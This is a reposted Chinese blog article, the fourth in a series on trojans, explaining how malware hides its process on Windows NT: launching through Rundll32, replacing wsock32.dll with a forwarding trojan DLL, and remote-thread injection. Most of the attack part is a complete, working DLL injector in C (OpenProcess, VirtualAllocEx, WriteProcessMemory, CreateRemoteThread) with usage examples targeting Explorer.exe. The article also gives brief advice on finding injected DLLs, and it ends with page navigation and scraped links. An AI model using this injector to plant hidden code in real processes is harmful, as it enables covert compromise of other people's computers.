2010-11-12
- 博客分类:
- 技术杂绘
2010-11-12
2010年11月12日
揭开木马的神秘面纱(四)
在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同
,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器,以至于很多
的朋友问我:在WINNT下难道木马真的再也无法隐藏自己的进程了?本文试图通过探讨WINNT中木马的几种
常用隐藏进程手段,给大家揭示木马/后门程序在WINNT中进程隐藏的方法和查找的途径。
我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,
会生成一个独立的进程,查找特定进程是我们发现木马的主要方法之一(无论手动还是防火墙),随着入
侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术(例如著名的FPort就能够检测出任何进
程打开的TCP/UDP端口),假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个
木马的隐藏已经完全失败(利用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在NT
下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让
系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。
看不见进程的方法就是进行进程欺骗,为了了解如何能使进程看不见,我们首先要了解怎样能看得见进程
:在Windows中有多种方法能够看到进程的存在:PSAPI(Process Status API),PDH(Performance
Data Helper),ToolHelp API,如果我们能够欺骗用户或入侵检测软件用来查看进程的函数(例如截获
相应的API调用,替换返回的数据),我们就完全能实现进程隐藏,但是一来我们并不知道用户/入侵检测
软件使用的是什么方法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用
其它的方法更容易的实现进程的隐藏。
第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要先了解Windows系统
的另一种“可执行文件”----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是
Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成
,它并不能独立运行,一般都是由进程加载并调用的。(你你你,你刚刚不是说不用进程了?)别急呀,
听我慢慢道来:因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马
DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并
不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧
?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。
运行DLL文件最简单的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自带的动态链接库工具,可
以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而Rundll32是32位的(分别调用16位
和32位的DLL文件),Rundll32的使用方法如下:
Rundll32.exe DllFileName FuncName
例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,那么,我们通过
Rundll32.exe MyDll.dll MyFunc就可以执行MyFunc函数的功能。
如何运行DLL文件和木马进程的隐藏有什么关系么?当然有了,假设我们在MyFunc函数中实现了木马的功
能,那么我们不就可以通过Rundll32来运行这个木马了么?在系统管理员看来,进程列表中增加的是
Rundll32.exe而并不是木马文件,这样也算是木马的一种简易欺骗和自我保护方法(至少你不能去把
Rundll32.exe删掉吧?)
使用Rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦一点)比较高级的方
法是使用特洛伊DLL,特洛伊DLL的工作原理是替换常用的DLL文件,将正常的调用转发给原DLL,截获并处
理特定的消息。例如,我们知道WINDOWS的Socket 1.x的函数都是存放在wsock32.dll中的,那么我们自己
写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)我们的
wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器
forward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理论上只要木马编写者通过SOCKET
远程输入一定的暗号,就可以控制wsock32.dll(木马DLL)做任何操作。特洛伊DLL技术是比较古老的技
术,因此微软也对此做了相当的防范,在Win2K的system32目录下有一个dllcache的目录,这个目录中存
放着大量的DLL文件(也包括一些重要的exe文件),这个是微软用来保护DLL的法宝,一旦操作系统发现
被保护的DLL文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说先更改
dllcache目录中的备份再修改DLL文件本身可以绕过这个保护,但是可以想见的是微软在未来必将更加小
心地保护重要的DLL文件,同时特洛伊DLL方法本身有着一些漏洞(例如修复安装、安装补丁、检查数字签
名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算是DLL木马的最优选择。
DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。
理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行
操作的(私人领地、请勿入内),但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。
在多种动态嵌入技术中(窗口Hook、挂接API、远程线程),我最喜欢的是远程线程技术(其实、其实我
就会这一种……),下面就为大家介绍一下远程线程技术。
远程线程技术指的是通过在另一个运行的进程中创建远程线程的方法进入那个线程的内存地址空间。我们
知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程创建时被同
时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也
同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(注意:是远程进程!)
的地址空间,所以,实际上,我们通过创建一个远程线程,进入了远程进程的内存地址空间,也就拥有了
那个远程进程相当多的权限:例如启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,
实际上我们可以随意篡改那个进程的数据)
闲话少说,我们来看代码:
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果不允许打开,那么嵌入就无法进行了,这
往往是由于权限不够引起的,例如你试图打开一个受系统保护的进程)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE, //允许远程VM写
FALSE, dwRemoteProcessId );
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限
(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll
中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木
马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复
制到远程地址空间:(否则远程线程读不到这个参数)
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
说明一下,上面我们计算的其实是自己这个进程内LoadLibraryW的入口地址,但是因为kernel.dll模块在
所有进程内的地址都是相同的(属于内核模块),所以这个入口地址同样适用于远程进程。
OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和
传递的参数pszLibFileRemote(我们复制到远程进程内存空间的木马DLL的全路径文件名)在远程进程内
启动我们的木马DLL:
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
NULL, 0,
pfnStartAddr, //LoadLibraryW的入口地址
pszLibFileRemote, //木马DLL的全路径文件名
0, NULL);
至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试
DLL,这个DLL什么都不做,仅仅返回所在进程的PID:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{ char * szProcessId = (char *)malloc(10*sizeof(char));
switch (reason){
case DLL_PROCESS_ATTACH:{
//获取并显示当前进程ID
_itoa(GetCurrentProcessId(), szProcessId, 10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
}
default:
return TRUE;
}
}
当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了
1208字样的确认框,证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。(木马已经成为
Explorer.exe的一部分)
DLL木马的查找:查找DLL木马的基本思路是扩展进程列表至内存模块列表,内存模块列表将显示每个进程
目前加载/调用的所有DLL文件,通过这种方法,我们能发现异常的DLL文件(前提是你对所有进程需要调
用的模块都很熟悉,天哪,这几乎是没有可能的事,要知道随便哪个进程都会调用十七八个DLL文件,而
Windows更是由数以千计的DLL所组成的,谁能知道哪个有用哪个没用?)对此,我写了一个内存模块查看
软件,在http://www.patching.net/shotgun/ps.zip可以下载,该软件使用PSAPI,如果是NT4.0,需要
PSAPI.dll的支持,所以我把PSAPI.dll也放在了压缩包里。
进一步想想,用远程线程技术启动木马DLL还是比较有迹可寻的,如果事先将一段代码复制进远程进程的
内存空间,然后通过远程线程起动这段代码,那么,即使遍历进程内存模块也无济于事;或者远程线程切
入某个原本就需要进行SOCKET操作的进程(如iExplorer.exe),对函数调用或数据进行某些有针对的修
改……这样的木马并不需要自己打开端口,代码也只是存在于内存中,可以说如羚羊挂角,无迹可寻。
无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅
能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了用
户进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共
死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想
我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。
附录:利用远程线程技术嵌入进程的模型源码:
////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////
// //
// Remote DLL For Win2K by Shotgun //
// This Program can inject a DLL into Remote Process //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Email: [Shotgun@Xici.Net] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
// USAGE: //
// RmtDLL.exe PID[|ProcessName] DLLFullPathName //
// Example: //
// RmtDLL.exe 1024 C:\WINNT\System32\MyDLL.dll //
// RmtDLL.exe Explorer.exe C:\MyDLL.dll //
// //
////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////
#include
#include
#include
#include
DWORD ProcessToPID( char *); //将进程名转换为PID的函数
void CheckError ( int, int, char *); //出错处理函数
void usage ( char *); //使用说明函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//处理命令行参数
if (argc!=3) usage("Parametes number incorrect!");
else{
//如果输入的是进程名,则转化为PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判断输入的DLL文件名是否是绝对路径
if(strstr(argv[2],":\\")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
{ //取得当前目录,将相对路径转换成绝对路径
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "\\");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName:\n\t%s\n\n",
lpDllFullPathName);
}
//判断DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d\n", argv[1], dwRemoteProcessId);
}
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main()
//将进程名转换为PID的函数
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses;
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID
//错误处理函数CheckError()
//如果iReturnCode等于iErrorCode,则输出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()
//使用方法说明函数usage()
void usage(char * pErrorMsg)
{
printf("%s\n\n",pErrorMsg);
printf("\t\tRemote Process DLL by Shotgun\n");
printf("\tThis program can inject a DLL into remote process\n");
printf("Email:\n");
printf("\tShotgun@Xici.Net\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n");
printf("\tRmtDLL.exe PID[|ProcessName] DLLFullPathName\n");
printf("Example:\n");
printf("\tRmtDLL.exe 1024 C:\\WINNT\\System32\\MyDLL.dll\n");
printf("\tRmtDLL.exe Explorer.exe C:\\MyDLL.dll\n");
exit(0);
}//end of usage()
发表评论
-
解读Flex性能优化基本原则
2012-01-20 01:18 349解读Flex性能优化基本原 ... -
Silverlight与Flex的比较选择
2012-01-20 01:18 378Silverlight与Flex的比较选择 2010年11月 ... -
flex基础概念
2012-01-20 01:17 509flex基础概念 2011年03月26日 SDK(Sof ... -
FLEX与C#交互概要
2012-01-20 01:17 667FLEX与C#交互概要 2010年07月21日 准备工作 ... -
Flex Spring整合包
2012-01-20 01:17 753Flex Spring整合包 2010年11月10日 A ... -
ADO.NET的最佳实践技巧
2012-01-19 09:07 479ADO.NET的最佳实践技巧 2 ... -
Linux内核IP Queue机制的分析(三)――ip_queue内核模块的分析
2012-01-19 09:07 854Linux内核IP Queue机制的分 ... -
oracle错误一览表三
2012-01-19 09:07 1198oracle错误一览表三 2011年02月15日 OR ... -
Windows Mobile系统名词解释
2012-01-19 09:07 632Windows Mobile系统名词解 ... -
操作系统结构
2012-01-17 01:36 446操作系统结构 2010年10月20日 操作系统结构 ... -
delphi笔记2
2012-01-17 01:36 964delphi笔记2 2011年06月16日 一个类型声明 ... -
Java体系结构对信息安全的支持
2012-01-17 01:36 670Java体系结构对信息安全的支持 2010年06月09日 ... -
完成端口的一些问题
2012-01-17 01:36 544完成端口的一些问题 2010年11月23日 测试完成端口 ... -
2011年第十届中国机械(越南)展览会
2012-01-15 20:47 6022011年第十届中国机械(越南)展览会 2010年11月22 ... -
来到越南
2012-01-15 20:47 510来到越南 2010年07月23日 因为工作的需要,我和同 ... -
2011-2-3
2012-01-15 20:47 5252011-2-3 2011年02月03日 美国驻广州总 ... -
越南签证、柬埔寨签证价格表
2012-01-15 20:47 553越南签证、柬埔寨签证价格表 2011年03月31日 20 ... -
javaScript 控制textArea输入字数
2012-01-11 12:26 460javaScript 控制textArea输入字数 2011 ... -
oracle数据库互访的问题
2012-01-11 12:26 525oracle数据库互访的问题 2011年03月01日 点 ... -
怎么我的php不支持网址传值?
2012-01-11 12:26 550怎么我的php不支持网址传值? 2011年03月01日 ...
相关推荐
最新中文php手册,更新到2010-11-12 超了上传上限,没办法,只好分卷了。(共2卷) 解压密码:www.pignut.net 需要的就下载吧!
bookmarks-2010-11-26.jsonbookmarks-2010-11-26.jsonbookmarks-2010-11-26.jsonbookmarks-2010-11-26.jsonbookmarks-2010-11-26.jsonbookmarks-2010-11-26.jsonbookmarks-2010-11-26.json
ISO 11452-11-2010
grub4dos-0.4.5b-2010-11-29 最新版
bookmarks-2010-08-05.json
12-01-12 11:00 (后台) 修改前台监控中排队列关闭后与设置不同问题 12-01-11 16:30 (后台) 修改指定采购商品增加默认机构值 12-01-11 11:20 (后台) 增加指定采购商品菜单 12-01-11 11:19 (后台) 修改采购订单和入库...
qt-opensource-windows-x86-msvc2010-5.5.1.part11
中学计算机组成-电子教案-2010-11-18.pdf
Kaakoo 2010-11-20 what's new:新增: 1、简单好用的表情功能。双击空格键,再使用热键 Ctrl+Q;或者在聊天窗口不输入任何字符的情况下,直接Ctrl+Q ,海量表情图片任你选! 2、消息提示功能上线,与用户的交流沟通...
2010-11-14云计算中心-副本.pdf
2010-11年度全球棉花产量增加102010-11年度全球棉花产量增加10
NI-VeriStand-2010-使用手册
用EXCEL做的大单接受程序2010-6-11
用EXCEL做的大单接受程序2010-5-11
OpenCV标定过程中使用的棋盘格标定板图片2010-11-05,
编译时间: 2010-11-12 功能:Features 1.最新PHP中文/英文手册,每周SVN同步到最新版本 2.整合在线评论信息,蕴含巨大宝藏,学习进阶必备 3.CHM格式,方便随身携带,可与其他软件完美配合使用 4.导航详细,...
2010-5-11CCNAFinal第一学期final考试试题+答案
易语言源码收文打印程序2010-11-24.7z
数据访问设计_renjun_2010-11-22